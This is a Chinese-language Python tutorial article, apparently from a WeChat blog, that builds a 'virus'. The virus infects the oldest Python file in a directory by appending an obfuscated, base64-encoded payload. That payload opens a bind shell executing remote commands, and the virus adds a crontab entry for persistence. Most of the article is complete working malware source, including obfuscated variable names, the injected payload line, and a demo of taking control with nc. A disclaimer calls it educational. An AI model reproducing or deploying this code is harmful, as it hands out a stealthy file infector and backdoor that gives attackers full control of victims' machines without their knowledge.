手写一个 Python "病毒"
👆👆👆关注我,和老表一起学Python、云服务器
今天的文章来展示一个 Python "病毒",它感染其他 Python 文件来创建一个后门。后门利用 Python 的内置 socket 模块来创建一个监听器,用来连接到 Python 的内置子进程模块,从而靶机上执行命令,同时还通过创建一个 cronjob 来建立持久性,以在每天固定的时间运行后门。最终完整的 Python 脚本包含在本文末尾。
注意:请不要将本文中提供的 Python 脚本用于恶意目的。虽然它不先进,但经过一些修改,它可以让完全控制某人的计算机。本文的主要目的是通过这些脚本,更好地了解黑客如何获取正常程序并使它们成为恶意程序。
话不多说,让我们开始吧。
1. 建立通信
任何后门最重要的部分都是建立通信。现在,让我们为后门访问编写一段代码。通过 TCP 连接到靶机,我们使用套接字模块监听黑客的连接请求。在 socket 模块中,有一个函数也称为 socket,我们可以使用它来创建 TCP 或 UDP 套接字。使用 socket.socket 函数创建套接字时,我们需要提供两个参数来指定我们要使用的 IP 版本和第 4 层协议。在这个 Python 脚本中,我们将传入以下参数:socket.AF_INET 和 socket.SOCK_STREAM。
AF_INET : 指定 IPv4
SOCK_STREAM :指定 TCP 而不是 UDP。
socket.socket 函数返回一个对象,该对象由最终确定正在创建的套接字是侦听套接字(服务器)还是连接套接字(客户端)的方法组成。要创建侦听套接字,需要使用以下方法:
bind > 将 IP 地址和端口绑定到网络接口
listen > 指示我们的套接字开始监听传入的连接
accept > 接受传入连接
recv > 从连接的客户端接收数据
send > 向连接的客户端发送数据
然而,最重要的方法是 recv 和 send。recv 方法会接收来自攻击者的命令,使用 subproces.run 函数在受害者的系统上执行它们,然后将执行命令的标准输出重定向到与攻击者建立的 TCP 连接。下面是 Python 代码:
from socket import socket, AF_INET, SOCK_STREAM
from subprocess import run, PIPE
from os import _exit
def serve():
with socket(AF_INET, SOCK_STREAM) as soc:
# [*] The obfuscated values are just the IP address and port to bind to
soc.bind((ip, 端口))
soc.listen(5)
while True:
conn, _ = soc.accept()
while True:
cmd = conn.recv(1024).decode("utf-8").strip()
cmd_output = run(cmd.split(), stdout=PIPE, stderr=PIPE)
if cmd_output.returncode == 0:
conn.send(bytes(cmd_output.stdout))
else:
continue
serve()
2. 感染目标 Python 文件
这段程序通过遍历指定目录(最好是用户的主目录)并查找修改时间最早的 Python 脚本。这里是测试,因此不是感染所有 Python 文件,而仅感染修改时间最早的文件。感染一个 Python 文件对于控制靶机来说已经够了。
def MTRkYmNubWx(self):
YWJyZmFm = "/" if self.bGpqZ2hjen == "Linux" else "\\"
for Z3Jvb3RhbGZq, _, _ in walk(self.cHlkYWNhZWFpa):
for f in glob(Z3Jvb3RhbGZq + YWJyZmFm + "*.py"):
if f == Z3Jvb3RhbGZq + YWJyZmFm + __file__:
continue
eHhtbG1vZGF0 = stat(f).st_mtime
ZHRmbGNhbW9k = datetime.fromtimestamp(eHhtbG1vZGF0)
if not self.Z2hhenh4ZGwK:
self.Z2hhenh4ZGwK = (f, ZHRmbGNhbW9k)
elif ZHRmbGNhbW9k < self.Z2hhenh4ZGwK[1]:
self.Z2hhenh4ZGwK = (f, ZHRmbGNhbW9k)
self.dGVyeXB6Y2FjeH(self.Z2hhenh4ZGwK[0])
上述代码的部分变量使用了混淆,让人不易看懂,其实很简单,就是使用 os 模块中定义的 walk 和 stat 函数来遍历目录文件并获取它们的修改时间。获得的每个文件的修改时间被转换为 datetime.datetime 对象,以便我们可以使用 > < 和 == 等运算符轻松比较日期。在这个函数的最后,选定的目标 Python 文件名被传递到将后门服务器代码注入其中的函数。
3. 通过 crontab 任务来持久化
这个 Python 后门的最后一个函数使用 subprocess.run 函数来调用一个 Linux shell 命令,该命令将在当前用户的 crontab 文件中创建一个条目。此条目指定计划的 cronjob 应在每天 14:00 定时运行。添加 crontab 对应的 shell 命令如下:
echo '00 14 * * * file_name | crontab -
4. 最终的完整代码
#!/usr/bin/env python3
from os.path import expanduser
from os import walk, stat
from sys import path
from glob import glob
from platform import system
from base64 import b64encode, b64decode
from subprocess import run, PIPE
from datetime import datetime
class eHhjemR5eXB:
def __init__(self, cHlkYWNhZWFpa):
self.cHlkYWNhZWFpa = cHlkYWNhZWFpa
self.bGpqZ2hjen = system()
self.aWFmYXRye = "0.0.0.0"
self.ZmFsa2p0aGM = 0x401
self.Z2hhenh4ZGwK = None
def dGVyeXB6Y2FjeH(self, dGR6eGFteXBxC):
YWxmanRob = b"from socket import socket, AF_INET, SOCK_STREAM"
YWxmanRob += b"\nfrom subprocess import run, PIPE"
YWxmanRob += b"\ndef serve():"
YWxmanRob += b"\n\twith socket(AF_INET, SOCK_STREAM) as soc:"
YWxmanRob += bytes(
f'\n\t\tsoc.bind(("{self.aWFmYXRye}", {self.ZmFsa2p0aGM}))', "utf-8"
)
YWxmanRob += b"\n\t\tsoc.listen(5)"
YWxmanRob += b"\n\t\twhile True:"
YWxmanRob += b"\n\t\t\tconn, _ = soc.accept()"
YWxmanRob += b"\n\t\t\twhile True:"
YWxmanRob += b'\n\t\t\t\tcmd = conn.recv(1024).decode("utf-8").strip()'
YWxmanRob += (
b"\n\t\t\t\tcmd_output = run(cmd.split(), stdout=PIPE, stderr=PIPE)"
)
YWxmanRob += b"\n\t\t\t\tif cmd_output.returncode == 0:"
YWxmanRob += b"\n\t\t\t\t\tconn.send(bytes(cmd_output.stdout))"
YWxmanRob += b"\n\t\t\t\telse: continue"
YWxmanRob += b"\nserve()"
YWxmanRob_base64 = b64encode(YWxmanRob)
cXBxZXJjYQ = "\n" * 0x2 + "from subprocess import run\n"
cXBxZXJjYQ += 'run("""python3 -c "from binascii import a2b_base64;'
cXBxZXJjYQ += 'exec(a2b_base64(\'{}\'))" &""",shell=True)'.format(
YWxmanRob_base64.decode()
)
with open(dGR6eGFteXBxC, "a") as f:
f.write(cXBxZXJjYQ)
self.ZmFsa2p0aGM += 1
def MTRkYmNubWx(self):
YWJyZmFm = "/" if self.bGpqZ2hjen == "Linux" else "\\"
for Z3Jvb3RhbGZq, _, _ in walk(self.cHlkYWNhZWFpa):
for f in glob(Z3Jvb3RhbGZq + YWJyZmFm + "*.py"):
if f == Z3Jvb3RhbGZq + YWJyZmFm + __file__:
continue
eHhtbG1vZGF0 = stat(f).st_mtime
ZHRmbGNhbW9k = datetime.fromtimestamp(eHhtbG1vZGF0)
if not self.Z2hhenh4ZGwK:
self.Z2hhenh4ZGwK = (f, ZHRmbGNhbW9k)
elif ZHRmbGNhbW9k < self.Z2hhenh4ZGwK[1]:
self.Z2hhenh4ZGwK = (f, ZHRmbGNhbW9k)
self.dGVyeXB6Y2FjeH(self.Z2hhenh4ZGwK[0])
def YWZhdGhjCg(self):
if self.bGpqZ2hjen == "Linux":
run(f"echo '37 13 * * * {self.Z2hhenh4ZGwK[0]}' | crontab -", shell=True)
if __name__ == "__main__":
# For traversing the user's home directory
# aGdsZGFx = expanduser('~')
# YmNjLGFka2x = eHhjemR5eXB(aGdsZGFx)
YmNjLGFka2x = eHhjemR5eXB("./test")
YmNjLGFka2x.MTRkYmNubWx()
YmNjLGFka2x.YWZhdGhjCg()
在靶机执行该代码后,会感染 ./test 目录中最早修改的文件(目标文件),会自动在目标文件的最后添加这两行代码:
from subprocess import run
run("""python3 -c "from binascii import a2b_base64;exec(a2b_base64('ZnJvbSBzb2NrZXQgaW1wb3J0IHNvY2tldCwgQUZfSU5FVCwgU09DS19TVFJFQU0KZnJvbSBzdWJwcm9jZXNzIGltcG
是不是非常隐蔽?
5. 访问后门
为了测试,我们手动执行下感染的文件,而不是等待 crontab。
~ # crontab -l
37 13 * * * /root/transferfile/transfile_interface.py
~ # cd transferfile/
~/transferfile # python transfile_interface.py
~/transferfile #
程序正常结束,没有任何异常。然后使用 nc localhost 1025 来反弹一个 shell,在这里执行 ls, whoami 就是靶机的信息了:
这里演示的 localhost 即为靶机,真实场景下就是靶机的 ip 地址。现在靶机已经完全被控制了,而受害者完全不知情。
6. 最后的话
现在,你已经学习了如何使用 Python 编程语言创建持久性后门,学习了如何使用 Python 的 socket 模块、如何遍历目录以及如何创建 crontab 任务。如果要感染真实靶机,还要学会如何分发这个后门程序,这里不做探讨。
如果有收获,还请点赞、在看、转发,感谢你的阅读和支持。
老表每周三赠书
点击下方卡片直接购买学习
赠书规则:给本文点赞+本周想对自己说的一句话或者随意留言,点击下方卡片,关注老表小号「简说编程」,回复:周三福利,既可以参与赠书活动送1本,另外我将从留言中随机选一位,赠书1本(一定要留言呐,留言满100后,将无法精选)。
关注后,回复:周三福利
【⚠️注】2022年起,同一读者一个季度内最多只能获得一本赠书;必须在收到赠书后学习完图书内容或者投稿学习笔记一篇后才能获得下一本赠书。
如何找到我: